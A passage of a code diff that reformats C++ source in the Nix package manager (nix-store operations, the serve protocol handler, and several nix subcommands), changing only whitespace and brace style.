opFlags) - if (i == "--print-invalid") printInvalid = true; - else throw UsageError("unknown flag '%1%'", i); + if (i == "--print-invalid") + printInvalid = true; + else + throw UsageError("unknown flag '%1%'", i); for (auto & i : opArgs) { auto path = store->followLinksToStorePath(i); @@ -622,7 +660,6 @@ static void opCheckValidity(Strings opFlags, Strings opArgs) } } - static void opGC(Strings opFlags, Strings opArgs) { bool printRoots = false; @@ -633,14 +670,19 @@ static void opGC(Strings opFlags, Strings opArgs) /* Do what? */ for (auto i = opFlags.begin(); i != opFlags.end(); ++i) - if (*i == "--print-roots") printRoots = true; - else if (*i == "--print-live") options.action = GCOptions::gcReturnLive; - else if (*i == "--print-dead") options.action = GCOptions::gcReturnDead; + if (*i == "--print-roots") + printRoots = true; + else if (*i == "--print-live") + options.action = GCOptions::gcReturnLive; + else if (*i == "--print-dead") + options.action = GCOptions::gcReturnDead; else if (*i == "--max-freed") options.maxFreed = std::max(getIntArg(*i, i, opFlags.end(), true), (int64_t) 0); - else throw UsageError("bad sub-operation '%1%' in GC", *i); + else + throw UsageError("bad sub-operation '%1%' in GC", *i); - if (!opArgs.empty()) throw UsageError("no arguments expected"); + if (!opArgs.empty()) + throw UsageError("no arguments expected"); auto & gcStore = require(*store); @@ -665,7 +707,6 @@ static void opGC(Strings opFlags, Strings opArgs) } } - /* Remove paths from the Nix store if possible (i.e., if they do not have any remaining referrers and are not reachable from any GC roots). */ @@ -675,8 +716,10 @@ static void opDelete(Strings opFlags, Strings opArgs) options.action = GCOptions::gcDeleteSpecific; for (auto & i : opFlags) - if (i == "--ignore-liveness") options.ignoreLiveness = true; - else throw UsageError("unknown flag '%1%'", i); + if (i == "--ignore-liveness") + options.ignoreLiveness = true; + else + throw UsageError("unknown flag '%1%'", i); for (auto & i : opArgs) options.pathsToDelete.insert(store->followLinksToStorePath(i)); @@ -688,12 +731,13 @@ static void opDelete(Strings opFlags, Strings opArgs) gcStore.collectGarbage(options, results); } - /* Dump a path as a Nix archive. The archive is written to stdout */ static void opDump(Strings opFlags, Strings opArgs) { - if (!opFlags.empty()) throw UsageError("unknown flag"); - if (opArgs.size() != 1) throw UsageError("only one argument allowed"); + if (!opFlags.empty()) + throw UsageError("unknown flag"); + if (opArgs.size() != 1) + throw UsageError("only one argument allowed"); FdSink sink(getStandardOutput()); std::string path = *opArgs.begin(); @@ -701,18 +745,18 @@ static void opDump(Strings opFlags, Strings opArgs) sink.flush(); } - /* Restore a value from a Nix archive. The archive is read from stdin. */ static void opRestore(Strings opFlags, Strings opArgs) { - if (!opFlags.empty()) throw UsageError("unknown flag"); - if (opArgs.size() != 1) throw UsageError("only one argument allowed"); + if (!opFlags.empty()) + throw UsageError("unknown flag"); + if (opArgs.size() != 1) + throw UsageError("only one argument allowed"); FdSource source(STDIN_FILENO); restorePath(*opArgs.begin(), source); } - static void opExport(Strings opFlags, Strings opArgs) { for (auto & i : opFlags) @@ -728,13 +772,13 @@ static void opExport(Strings opFlags, Strings opArgs) sink.flush(); } - static void opImport(Strings opFlags, Strings opArgs) { for (auto & i : opFlags) throw UsageError("unknown flag '%1%'", i); - if (!opArgs.empty()) throw UsageError("no arguments expected"); + if (!opArgs.empty()) + throw UsageError("no arguments expected"); FdSource source(STDIN_FILENO); auto paths = store->importPaths(source, NoCheckSigs); @@ -743,18 +787,17 @@ static void opImport(Strings opFlags, Strings opArgs) cout << fmt("%s\n", store->printStorePath(i)) << std::flush; } - /* Initialise the Nix databases. */ static void opInit(Strings opFlags, Strings opArgs) { - if (!opFlags.empty()) throw UsageError("unknown flag"); + if (!opFlags.empty()) + throw UsageError("unknown flag"); if (!opArgs.empty()) throw UsageError("no arguments expected"); /* Doesn't do anything right now; database tables are initialised automatically. */ } - /* Verify the consistency of the Nix environment. */ static void opVerify(Strings opFlags, Strings opArgs) { @@ -765,9 +808,12 @@ static void opVerify(Strings opFlags, Strings opArgs) RepairFlag repair = NoRepair; for (auto & i : opFlags) - if (i == "--check-contents") checkContents = true; - else if (i == "--repair") repair = Repair; - else throw UsageError("unknown flag '%1%'", i); + if (i == "--check-contents") + checkContents = true; + else if (i == "--repair") + repair = Repair; + else + throw UsageError("unknown flag '%1%'", i); if (store->verifyStore(checkContents, repair)) { warn("not all store errors were fixed"); @@ -775,7 +821,6 @@ static void opVerify(Strings opFlags, Strings opArgs) } } - /* Verify whether the contents of the given store path have not changed. */ static void opVerifyPath(Strings opFlags, Strings opArgs) { @@ -792,7 +837,8 @@ static void opVerifyPath(Strings opFlags, Strings opArgs) store->narFromPath(path, sink); auto current = sink.finish(); if (current.first != info->narHash) { - printError("path '%s' was modified! expected hash '%s', got '%s'", + printError( + "path '%s' was modified! expected hash '%s', got '%s'", store->printStorePath(path), info->narHash.to_string(HashFormat::Nix32, true), current.first.to_string(HashFormat::Nix32, true)); @@ -803,7 +849,6 @@ static void opVerifyPath(Strings opFlags, Strings opArgs) throw Exit(status); } - /* Repair the contents of the given path by redownloading it using a substituter (if available). */ static void opRepairPath(Strings opFlags, Strings opArgs) @@ -830,24 +875,25 @@ static void opServe(Strings opFlags, Strings opArgs) { bool writeAllowed = false; for (auto & i : opFlags) - if (i == "--write") writeAllowed = true; - else throw UsageError("unknown flag '%1%'", i); + if (i == "--write") + writeAllowed = true; + else + throw UsageError("unknown flag '%1%'", i); - if (!opArgs.empty()) throw UsageError("no arguments expected"); + if (!opArgs.empty()) + throw UsageError("no arguments expected"); FdSource in(STDIN_FILENO); FdSink out(getStandardOutput()); /* Exchange the greeting. */ - ServeProto::Version clientVersion = - ServeProto::BasicServerConnection::handshake( - out, in, SERVE_PROTOCOL_VERSION); + ServeProto::Version clientVersion = ServeProto::BasicServerConnection::handshake(out, in, SERVE_PROTOCOL_VERSION); - ServeProto::ReadConn rconn { + ServeProto::ReadConn rconn{ .from = in, .version = clientVersion, }; - ServeProto::WriteConn wconn { + ServeProto::WriteConn wconn{ .to = out, .version = clientVersion, }; @@ -898,151 +944,155 @@ static void opServe(Strings opFlags, Strings opArgs) switch (cmd) { - case ServeProto::Command::QueryValidPaths: { - bool lock = readInt(in); - bool substitute = readInt(in); - auto paths = ServeProto::Serialise::read(*store, rconn); - if (lock && writeAllowed) - for (auto & path : paths) - store->addTempRoot(path); + case ServeProto::Command::QueryValidPaths: { + bool lock = readInt(in); + bool substitute = readInt(in); + auto paths = ServeProto::Serialise::read(*store, rconn); + if (lock && writeAllowed) + for (auto & path : paths) + store->addTempRoot(path); - if (substitute && writeAllowed) { - store->substitutePaths(paths); - } - - ServeProto::write(*store, wconn, store->queryValidPaths(paths)); - break; + if (substitute && writeAllowed) { + store->substitutePaths(paths); } - case ServeProto::Command::QueryPathInfos: { - auto paths = ServeProto::Serialise::read(*store, rconn); - // !!! Maybe we want a queryPathInfos? - for (auto & i : paths) { - try { - auto info = store->queryPathInfo(i); - out << store->printStorePath(info->path); - ServeProto::write(*store, wconn, static_cast(*info)); - } catch (InvalidPath &) { - } - } - out << ""; - break; - } - - case ServeProto::Command::DumpStorePath: - store->narFromPath(store->parseStorePath(readString(in)), out); - break; - - case ServeProto::Command::ImportPaths: { - if (!writeAllowed) throw Error("importing paths is not allowed"); - store->importPaths(in, NoCheckSigs); // FIXME: should we skip sig checking? - out << 1; // indicate success - break; - } - - case ServeProto::Command::ExportPaths: { - readInt(in); // obsolete - store->exportPaths(ServeProto::Serialise::read(*store, rconn), out); - break; - } - - case ServeProto::Command::BuildPaths: { - - if (!writeAllowed) throw Error("building paths is not allowed"); - - std::vector paths; - for (auto & s : readStrings(in)) - paths.push_back(parsePathWithOutputs(*store, s)); - - getBuildSettings(); + ServeProto::write(*store, wconn, store->queryValidPaths(paths)); + break; + } + case ServeProto::Command::QueryPathInfos: { + auto paths = ServeProto::Serialise::read(*store, rconn); + // !!! Maybe we want a queryPathInfos? + for (auto & i : paths) { try { -#ifndef _WIN32 // TODO figure out if Windows needs something similar - MonitorFdHup monitor(in.fd); -#endif - store->buildPaths(toDerivedPaths(paths)); - out << 0; - } catch (Error & e) { - assert(e.info().status); - out << e.info().status << e.msg(); + auto info = store->queryPathInfo(i); + out << store->printStorePath(info->path); + ServeProto::write(*store, wconn, static_cast(*info)); + } catch (InvalidPath &) { } - break; } + out << ""; + break; + } - case ServeProto::Command::BuildDerivation: { /* Used by hydra-queue-runner. */ + case ServeProto::Command::DumpStorePath: + store->narFromPath(store->parseStorePath(readString(in)), out); + break; - if (!writeAllowed) throw Error("building paths is not allowed"); + case ServeProto::Command::ImportPaths: { + if (!writeAllowed) + throw Error("importing paths is not allowed"); + store->importPaths(in, NoCheckSigs); // FIXME: should we skip sig checking? + out << 1; // indicate success + break; + } - auto drvPath = store->parseStorePath(readString(in)); - BasicDerivation drv; - readDerivation(in, *store, drv, Derivation::nameFromPath(drvPath)); + case ServeProto::Command::ExportPaths: { + readInt(in); // obsolete + store->exportPaths(ServeProto::Serialise::read(*store, rconn), out); + break; + } - getBuildSettings(); + case ServeProto::Command::BuildPaths: { + if (!writeAllowed) + throw Error("building paths is not allowed"); + + std::vector paths; + for (auto & s : readStrings(in)) + paths.push_back(parsePathWithOutputs(*store, s)); + + getBuildSettings(); + + try { #ifndef _WIN32 // TODO figure out if Windows needs something similar MonitorFdHup monitor(in.fd); #endif - auto status = store->buildDerivation(drvPath, drv); - - ServeProto::write(*store, wconn, status); - break; + store->buildPaths(toDerivedPaths(paths)); + out << 0; + } catch (Error & e) { + assert(e.info().status); + out << e.info().status << e.msg(); } + break; + } - case ServeProto::Command::QueryClosure: { - bool includeOutputs = readInt(in); - StorePathSet closure; - store->computeFSClosure(ServeProto::Serialise::read(*store, rconn), - closure, false, includeOutputs); - ServeProto::write(*store, wconn, closure); - break; - } + case ServeProto::Command::BuildDerivation: { /* Used by hydra-queue-runner. */ - case ServeProto::Command::AddToStoreNar: { - if (!writeAllowed) throw Error("importing paths is not allowed"); + if (!writeAllowed) + throw Error("building paths is not allowed"); - auto path = readString(in); - auto deriver = readString(in); - ValidPathInfo info { - store->parseStorePath(path), - Hash::parseAny(readString(in), HashAlgorithm::SHA256), - }; - if (deriver != "") - info.deriver = store->parseStorePath(deriver); - info.references = ServeProto::Serialise::read(*store, rconn); - in >> info.registrationTime >> info.narSize >> info.ultimate; - info.sigs = readStrings(in); - info.ca = ContentAddress::parseOpt(readString(in)); + auto drvPath = store->parseStorePath(readString(in)); + BasicDerivation drv; + readDerivation(in, *store, drv, Derivation::nameFromPath(drvPath)); - if (info.narSize == 0) - throw Error("narInfo is too old and missing the narSize field"); + getBuildSettings(); - SizedSource sizedSource(in, info.narSize); +#ifndef _WIN32 // TODO figure out if Windows needs something similar + MonitorFdHup monitor(in.fd); +#endif + auto status = store->buildDerivation(drvPath, drv); - store->addToStore(info, sizedSource, NoRepair, NoCheckSigs); + ServeProto::write(*store, wconn, status); + break; + } - // consume all the data that has been sent before continuing. - sizedSource.drainAll(); + case ServeProto::Command::QueryClosure: { + bool includeOutputs = readInt(in); + StorePathSet closure; + store->computeFSClosure( + ServeProto::Serialise::read(*store, rconn), closure, false, includeOutputs); + ServeProto::write(*store, wconn, closure); + break; + } - out << 1; // indicate success + case ServeProto::Command::AddToStoreNar: { + if (!writeAllowed) + throw Error("importing paths is not allowed"); - break; - } + auto path = readString(in); + auto deriver = readString(in); + ValidPathInfo info{ + store->parseStorePath(path), + Hash::parseAny(readString(in), HashAlgorithm::SHA256), + }; + if (deriver != "") + info.deriver = store->parseStorePath(deriver); + info.references = ServeProto::Serialise::read(*store, rconn); + in >> info.registrationTime >> info.narSize >> info.ultimate; + info.sigs = readStrings(in); + info.ca = ContentAddress::parseOpt(readString(in)); - default: - throw Error("unknown serve command %1%", cmd); + if (info.narSize == 0) + throw Error("narInfo is too old and missing the narSize field"); + + SizedSource sizedSource(in, info.narSize); + + store->addToStore(info, sizedSource, NoRepair, NoCheckSigs); + + // consume all the data that has been sent before continuing. + sizedSource.drainAll(); + + out << 1; // indicate success + + break; + } + + default: + throw Error("unknown serve command %1%", cmd); } out.flush(); } } - static void opGenerateBinaryCacheKey(Strings opFlags, Strings opArgs) { for (auto & i : opFlags) throw UsageError("unknown flag '%1%'", i); - if (opArgs.size() != 3) throw UsageError("three arguments expected"); + if (opArgs.size() != 3) + throw UsageError("three arguments expected"); auto i = opArgs.begin(); std::string keyName = *i++; std::string secretKeyFile = *i++; @@ -1055,17 +1105,15 @@ static void opGenerateBinaryCacheKey(Strings opFlags, Strings opArgs) writeFile(secretKeyFile, secretKey.to_string()); } - static void opVersion(Strings opFlags, Strings opArgs) { printVersion("nix-store"); } - /* Scan the arguments; find the operation, set global flags, put all other flags in a list, and put all other arguments in another list. */ -static int main_nix_store(int argc, char * * argv) +static int main_nix_store(int argc, char ** argv) { { Strings opFlags, opArgs; @@ -1084,92 +1132,72 @@ static int main_nix_store(int argc, char * * argv) else if (*arg == "--realise" || *arg == "--realize" || *arg == "-r") { op = opRealise; opName = "-realise"; - } - else if (*arg == "--add" || *arg == "-A"){ + } else if (*arg == "--add" || *arg == "-A") { op = opAdd; opName = "-add"; - } - else if (*arg == "--add-fixed") { + } else if (*arg == "--add-fixed") { op = opAddFixed; opName = arg->substr(1); - } - else if (*arg == "--print-fixed-path") + } else if (*arg == "--print-fixed-path") op = opPrintFixedPath; else if (*arg == "--delete") { op = opDelete; opName = arg->substr(1); - } - else if (*arg == "--query" || *arg == "-q") { + } else if (*arg == "--query" || *arg == "-q") { op = opQuery; opName = "-query"; - } - else if (*arg == "--print-env") { + } else if (*arg == "--print-env") { op = opPrintEnv; opName = arg->substr(1); - } - else if (*arg == "--read-log" || *arg == "-l") { + } else if (*arg == "--read-log" || *arg == "-l") { op = opReadLog; opName = "-read-log"; - } - else if (*arg == "--dump-db") { + } else if (*arg == "--dump-db") { op = opDumpDB; opName = arg->substr(1); - } - else if (*arg == "--load-db") { + } else if (*arg == "--load-db") { op = opLoadDB; opName = arg->substr(1); - } - else if (*arg == "--register-validity") + } else if (*arg == "--register-validity") op = opRegisterValidity; else if (*arg == "--check-validity") op = opCheckValidity; else if (*arg == "--gc") { op = opGC; opName = arg->substr(1); - } - else if (*arg == "--dump") { + } else if (*arg == "--dump") { op = opDump; opName = arg->substr(1); - } - else if (*arg == "--restore") { + } else if (*arg == "--restore") { op = opRestore; opName = arg->substr(1); - } - else if (*arg == "--export") { + } else if (*arg == "--export") { op = opExport; opName = arg->substr(1); - } - else if (*arg == "--import") { + } else if (*arg == "--import") { op = opImport; opName = arg->substr(1); - } - else if (*arg == "--init") + } else if (*arg == "--init") op = opInit; else if (*arg == "--verify") { op = opVerify; opName = arg->substr(1); - } - else if (*arg == "--verify-path") { + } else if (*arg == "--verify-path") { op = opVerifyPath; opName = arg->substr(1); - } - else if (*arg == "--repair-path") { + } else if (*arg == "--repair-path") { op = opRepairPath; opName = arg->substr(1); - } - else if (*arg == "--optimise" || *arg == "--optimize") { + } else if (*arg == "--optimise" || *arg == "--optimize") { op = opOptimise; opName = "-optimise"; - } - else if (*arg == "--serve") { + } else if (*arg == "--serve") { op = opServe; opName = arg->substr(1); - } - else if (*arg == "--generate-binary-cache-key") { + } else if (*arg == "--generate-binary-cache-key") { op = opGenerateBinaryCacheKey; opName = arg->substr(1); - } - else if (*arg == "--add-root") + } else if (*arg == "--add-root") gcRoot = absPath(getArg(*arg, arg, end)); else if (*arg == "--stdin" && !isatty(STDIN_FILENO)) readFromStdIn = true; @@ -1181,15 +1209,14 @@ static int main_nix_store(int argc, char * * argv) opFlags.push_back(*arg); if (*arg == "--max-freed" || *arg == "--max-links" || *arg == "--max-atime") /* !!! hack */ opFlags.push_back(getArg(*arg, arg, end)); - } - else + } else opArgs.push_back(*arg); if (readFromStdIn && op != opImport && op != opRestore && op != opServe) { - std::string word; - while (std::cin >> word) { - opArgs.emplace_back(std::move(word)); - }; + std::string word; + while (std::cin >> word) { + opArgs.emplace_back(std::move(word)); + }; } if (oldOp && oldOp != op) @@ -1198,8 +1225,10 @@ static int main_nix_store(int argc, char * * argv) return true; }); - if (showHelp) showManPage("nix-store" + opName); - if (!op) throw UsageError("no operation specified"); + if (showHelp) + showManPage("nix-store" + opName); + if (!op) + throw UsageError("no operation specified"); if (op != opDump && op != opRestore) /* !!! hack */ store = openStore(); diff --git a/src/nix/add-to-store.cc b/src/nix/add-to-store.cc index 9b7306fdd..e87f49546 100644 --- a/src/nix/add-to-store.cc +++ b/src/nix/add-to-store.cc @@ -35,15 +35,13 @@ struct CmdAddToStore : MixDryRun, StoreCommand void run(ref store) override { - if (!namePart) namePart = baseNameOf(path); + if (!namePart) + namePart = baseNameOf(path); auto sourcePath = PosixSourceAccessor::createAtRoot(makeParentCanonical(path)); - auto storePath = dryRun - ? store->computeStorePath( - *namePart, sourcePath, caMethod, hashAlgo, {}).first - : store->addToStoreSlow( - *namePart, sourcePath, caMethod, hashAlgo, {}).path; + auto storePath = dryRun ? store->computeStorePath(*namePart, sourcePath, caMethod, hashAlgo, {}).first + : store->addToStoreSlow(*namePart, sourcePath, caMethod, hashAlgo, {}).path; logger->cout("%s", store->printStorePath(storePath)); } @@ -59,8 +57,8 @@ struct CmdAdd : CmdAddToStore std::string doc() override { return - #include "add.md" - ; +#include "add.md" + ; } }; diff --git a/src/nix/app.cc b/src/nix/app.cc index 75ef874ba..b604196ea 100644 --- a/src/nix/app.cc +++ b/src/nix/app.cc @@ -15,29 +15,27 @@ namespace nix { * Return the rewrites that are needed to resolve a string whose context is * included in `dependencies`. */ -StringPairs resolveRewrites( - Store & store, - const std::vector & dependencies) +StringPairs resolveRewrites(Store & store, const std::vector & dependencies) { StringPairs res; if (!experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { return res; } - for (auto &dep: dependencies) { + for (auto & dep : dependencies) { auto drvDep = std::get_if(&dep.path); if (!drvDep) { continue; } - for (const auto & [ outputName, outputPath ] : drvDep->outputs) { + for (const auto & [outputName, outputPath] : drvDep->outputs) { res.emplace( DownstreamPlaceholder::fromSingleDerivedPathBuilt( - SingleDerivedPath::Built { + SingleDerivedPath::Built{ .drvPath = make_ref(drvDep->drvPath->discardOutputPath()), .output = outputName, - }).render(), - store.printStorePath(outputPath) - ); + }) + .render(), + store.printStorePath(outputPath)); } } return res; @@ -46,10 +44,8 @@ StringPairs resolveRewrites( /** * Resolve the given string assuming the given context. */ -std::string resolveString( - Store & store, - const std::string & toResolve, - const std::vector & dependencies) +std::string +resolveString(Store & store, const std::string & toResolve, const std::vector & dependencies) { auto rewrites = resolveRewrites(store, dependencies); return rewriteStrings(toResolve, rewrites); @@ -62,9 +58,10 @@ UnresolvedApp InstallableValue::toApp(EvalState & state) auto type = cursor->getAttr("type")->getString(); - std::string expectedType = !attrPath.empty() && - (state.symbols[attrPath[0]] == "apps" || state.symbols[attrPath[0]] == "defaultApp") - ? "app" : "derivation"; + std::string expectedType = + !attrPath.empty() && (state.symbols[attrPath[0]] == "apps" || state.symbols[attrPath[0]] == "defaultApp") + ? "app" + : "derivation"; if (type != expectedType) throw Error("attribute '%s' should have type '%s'", cursor->getAttrPathStr(), expectedType); @@ -73,29 +70,32 @@ UnresolvedApp InstallableValue::toApp(EvalState & state) std::vector context2; for (auto & c : context) { - context2.emplace_back(std::visit(overloaded { - [&](const NixStringContextElem::DrvDeep & d) -> DerivedPath { - /* We want all outputs of the drv */ - return DerivedPath::Built { - .drvPath = makeConstantStorePathRef(d.drvPath), - .outputs = OutputsSpec::All {}, - }; - }, - [&](const NixStringContextElem::Built & b) -> DerivedPath { - return DerivedPath::Built { - .drvPath = b.drvPath, - .outputs = OutputsSpec::Names { b.output }, - }; - }, - [&](const NixStringContextElem::Opaque & o) -> DerivedPath { - return DerivedPath::Opaque { - .path = o.path, - }; - }, - }, c.raw)); + context2.emplace_back( + std::visit( + overloaded{ + [&](const NixStringContextElem::DrvDeep & d) -> DerivedPath { + /* We want all outputs of the drv */ + return DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(d.drvPath), + .outputs = OutputsSpec::All{}, + }; + }, + [&](const NixStringContextElem::Built & b) -> DerivedPath { + return DerivedPath::Built{ + .drvPath = b.drvPath, + .outputs = OutputsSpec::Names{b.output}, + }; + }, + [&](const NixStringContextElem::Opaque & o) -> DerivedPath { + return DerivedPath::Opaque{ + .path = o.path, + }; + }, + }, + c.raw)); } - return UnresolvedApp { App { + return UnresolvedApp{App{ .context = std::move(context2), .program = program, }}; @@ -109,18 +109,13 @@ UnresolvedApp InstallableValue::toApp(EvalState & state) auto aPname = cursor->maybeGetAttr("pname"); auto aMeta = cursor->maybeGetAttr(state.sMeta); auto aMainProgram = aMeta ? aMeta->maybeGetAttr("mainProgram") : nullptr; - auto mainProgram = - aMainProgram - ? aMainProgram->getString() - : aPname - ? aPname->getString() - : DrvName(name).name; + auto mainProgram = aMainProgram ? aMainProgram->getString() : aPname ? aPname->getString() : DrvName(name).name; auto program = outPath + "/bin/" + mainProgram; - return UnresolvedApp { App { - .context = { DerivedPath::Built { + return UnresolvedApp{App{ + .context = {DerivedPath::Built{ .drvPath = makeConstantStorePathRef(drvPath), - .outputs = OutputsSpec::Names { outputName }, - } }, + .outputs = OutputsSpec::Names{outputName}, + }}, .program = program, }}; } @@ -137,8 +132,7 @@ App UnresolvedApp::resolve(ref evalStore, ref store) Installables installableContext; for (auto & ctxElt : unresolved.context) - installableContext.push_back( - make_ref(store, DerivedPath { ctxElt })); + installableContext.push_back(make_ref(store, DerivedPath{ctxElt})); auto builtContext = Installable::build(evalStore, store, Realise::Outputs, installableContext); res.program = resolveString(*store, unresolved.program, builtContext); diff --git a/src/nix/build.cc b/src/nix/build.cc index daf50082e..2f52dde54 100644 --- a/src/nix/build.cc +++ b/src/nix/build.cc @@ -12,31 +12,32 @@ static nlohmann::json derivedPathsToJSON(const DerivedPaths & paths, Store & sto { auto res = nlohmann::json::array(); for (auto & t : paths) { - std::visit([&](const auto & t) { - res.push_back(t.toJSON(store)); - }, t.raw()); + std::visit([&](const auto & t) { res.push_back(t.toJSON(store)); }, t.raw()); } return res; } -static nlohmann::json builtPathsWithResultToJSON(const std::vector & buildables, const Store & store) +static nlohmann::json +builtPathsWithResultToJSON(const std::vector & buildables, const Store & store) { auto res = nlohmann::json::array(); for (auto & b : buildables) { - std::visit([&](const auto & t) { - auto j = t.toJSON(store); - if (b.result) { - if (b.result->startTime) - j["startTime"] = b.result->startTime; - if (b.result->stopTime) - j["stopTime"] = b.result->stopTime; - if (b.result->cpuUser) - j["cpuUser"] = ((double) b.result->cpuUser->count()) / 1000000; - if (b.result->cpuSystem) - j["cpuSystem"] = ((double) b.result->cpuSystem->count()) / 1000000; - } - res.push_back(j); - }, b.path.raw()); + std::visit( + [&](const auto & t) { + auto j = t.toJSON(store); + if (b.result) { + if (b.result->startTime) + j["startTime"] = b.result->startTime; + if (b.result->stopTime) + j["stopTime"] = b.result->stopTime; + if (b.result->cpuUser) + j["cpuUser"] = ((double) b.result->cpuUser->count()) / 1000000; + if (b.result->cpuSystem) + j["cpuSystem"] = ((double) b.result->cpuSystem->count()) / 1000000; + } + res.push_back(j); + }, + b.path.raw()); } return res; } @@ -85,8 +86,8 @@ struct CmdBuild : InstallablesCommand, MixDryRun, MixJSON, MixProfile std::string doc() override { return - #include "build.md" - ; +#include "build.md" + ; } void run(ref store, Installables && installables) override @@ -106,13 +107,11 @@ struct CmdBuild : InstallablesCommand, MixDryRun, MixJSON, MixProfile return; } - auto buildables = Installable::build( - getEvalStore(), store, - Realise::Outputs, - installables, - repair ? bmRepair : buildMode); + auto buildables = + Installable::build(getEvalStore(), store, Realise::Outputs, installables, repair ? bmRepair : buildMode); - if (json) logger->cout("%s", builtPathsWithResultToJSON(buildables, *store).dump()); + if (json) + logger->cout("%s", builtPathsWithResultToJSON(buildables, *store).dump()); if (outLink != "") if (auto store2 = store.dynamic_pointer_cast()) @@ -121,16 +120,16 @@ struct CmdBuild : InstallablesCommand, MixDryRun, MixJSON, MixProfile if (printOutputPaths) { logger->stop(); for (auto & buildable : buildables) { - std::visit(overloaded { - [&](const BuiltPath::Opaque & bo) { - logger->cout(store->printStorePath(bo.path)); + std::visit( + overloaded{ + [&](const BuiltPath::Opaque & bo) { logger->cout(store->printStorePath(bo.path)); }, + [&](const BuiltPath::Built & bfd) { + for (auto & output : bfd.outputs) { + logger->cout(store->printStorePath(output.second)); + } + }, }, - [&](const BuiltPath::Built & bfd) { - for (auto & output : bfd.outputs) { - logger->cout(store->printStorePath(output.second)); - } - }, - }, buildable.path.raw()); + buildable.path.raw()); } } diff --git a/src/nix/bundle.cc b/src/nix/bundle.cc index c334469b5..89b793570 100644 --- a/src/nix/bundle.cc +++ b/src/nix/bundle.cc @@ -6,7 +6,9 @@ #include "nix/store/local-fs-store.hh" #include "nix/expr/eval-inline.hh" -namespace nix::fs { using namespace std::filesystem; } +namespace nix::fs { +using namespace std::filesystem; +} using namespace nix; @@ -30,12 +32,12 @@ struct CmdBundle : InstallableValueCommand addFlag({ .longName = "out-link", .shortName = 'o', - .description = "Override the name of the symlink to the build result. It defaults to the base name of the app.", + .description = + "Override the name of the symlink to the build result. It defaults to the base name of the app.", .labels = {"path"}, .handler = {&outLink}, .completer = completePath, }); - } std::string description() override @@ -46,19 +48,19 @@ struct CmdBundle : InstallableValueCommand std::string doc() override { return - #include "bundle.md" - ; +#include "bundle.md" + ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } // FIXME: cut&paste from CmdRun. Strings getDefaultFlakeAttrPaths() override { - Strings res{ - "apps." + settings.thisSystem.get() + ".default", - "defaultApp." + settings.thisSystem.get() - }; + Strings res{"apps." + settings.thisSystem.get() + ".default", "defaultApp." + settings.thisSystem.get()}; for (auto & s : SourceExprCommand::getDefaultFlakeAttrPaths()) res.push_back(s); return res; @@ -79,17 +81,17 @@ struct CmdBundle : InstallableValueCommand auto val = installable->toValue(*evalState).first; auto [bundlerFlakeRef, bundlerName, extendedOutputsSpec] = - parseFlakeRefWithFragmentAndExtendedOutputsSpec( - fetchSettings, bundler, fs::current_path().string()); - const flake::LockFlags lockFlags{ .writeLockFile = false }; - InstallableFlake bundler{this, - evalState, std::move(bundlerFlakeRef), bundlerName, std::move(extendedOutputsSpec), - {"bundlers." + settings.thisSystem.get() + ".default", - "defaultBundler." + settings.thisSystem.get() - }, + parseFlakeRefWithFragmentAndExtendedOutputsSpec(fetchSettings, bundler, fs::current_path().string()); + const flake::LockFlags lockFlags{.writeLockFile = false}; + InstallableFlake bundler{ + this, + evalState, + std::move(bundlerFlakeRef), + bundlerName, + std::move(extendedOutputsSpec), + {"bundlers." + settings.thisSystem.get() + ".default", "defaultBundler." + settings.thisSystem.get()}, {"bundlers." + settings.thisSystem.get() + "."}, - lockFlags - }; + lockFlags}; auto vRes = evalState->allocValue(); evalState->callFunction(*bundler.toValue(*evalState).first, *val, *vRes, noPos); @@ -113,9 +115,9 @@ struct CmdBundle : InstallableValueCommand auto outPath = evalState->coerceToStorePath(attr2->pos, *attr2->value, context2, ""); store->buildPaths({ - DerivedPath::Built { + DerivedPath::Built{ .drvPath = makeConstantStorePathRef(drvPath), - .outputs = OutputsSpec::All { }, + .outputs = OutputsSpec::All{}, }, }); diff --git a/src/nix/cat.cc b/src/nix/cat.cc index aa27446d2..276e01f5d 100644 --- a/src/nix/cat.cc +++ b/src/nix/cat.cc @@ -23,11 +23,7 @@ struct CmdCatStore : StoreCommand, MixCat CmdCatStore() { - expectArgs({ - .label = "path", - .handler = {&path}, - .completer = completePath - }); + expectArgs({.label = "path", .handler = {&path}, .completer = completePath}); } std::string description() override @@ -38,8 +34,8 @@ struct CmdCatStore : StoreCommand, MixCat std::string doc() override { return - #include "store-cat.md" - ; +#include "store-cat.md" + ; } void run(ref store) override @@ -57,11 +53,7 @@ struct CmdCatNar : StoreCommand, MixCat CmdCatNar() { - expectArgs({ - .label = "nar", - .handler = {&narPath}, - .completer = completePath - }); + expectArgs({.label = "nar", .handler = {&narPath}, .completer = completePath}); expectArg("path", &path); } @@ -73,8 +65,8 @@ struct CmdCatNar : StoreCommand, MixCat std::string doc() override { return - #include "nar-cat.md" - ; +#include "nar-cat.md" + ; } void run(ref store) override diff --git a/src/nix/config-check.cc b/src/nix/config-check.cc index deac8e560..f813420a9 100644 --- a/src/nix/config-check.cc +++ b/src/nix/config-check.cc @@ -10,7 +10,9 @@ #include "nix/store/worker-protocol.hh" #include "nix/util/executable-path.hh" -namespace nix::fs { using namespace std::filesystem; } +namespace nix::fs { +using namespace std::filesystem; +} using namespace nix; @@ -26,17 +28,20 @@ std::string formatProtocol(unsigned int proto) return "unknown"; } -bool checkPass(std::string_view msg) { +bool checkPass(std::string_view msg) +{ notice(ANSI_GREEN "[PASS] " ANSI_NORMAL + msg); return true; } -bool checkFail(std::string_view msg) { +bool checkFail(std::string_view msg) +{ notice(ANSI_RED "[FAIL] " ANSI_NORMAL + msg); return false; } -void checkInfo(std::string_view msg) { +void checkInfo(std::string_view msg) +{ notice(ANSI_BLUE "[INFO] " ANSI_NORMAL + msg); } @@ -59,7 +64,10 @@ struct CmdConfigCheck : StoreCommand return "check your system for potential problems and print a PASS or FAIL for each check"; } - Category category() override { return catNixInstallation; } + Category category() override + { + return catNixInstallation; + } void run(ref store) override { @@ -83,7 +91,7 @@ struct CmdConfigCheck : StoreCommand for (auto & dir : ExecutablePath::load().directories) { auto candidate = dir / "nix-env"; if (fs::exists(candidate)) - dirs.insert(fs::canonical(candidate).parent_path() ); + dirs.insert(fs::canonical(candidate).parent_path()); } if (dirs.size() != 1) { @@ -106,22 +114,23 @@ struct CmdConfigCheck : StoreCommand try { auto userEnv = fs::weakly_canonical(profileDir); - auto noContainsProfiles = [&]{ + auto noContainsProfiles = [&] { for (auto && part : profileDir) - if (part == 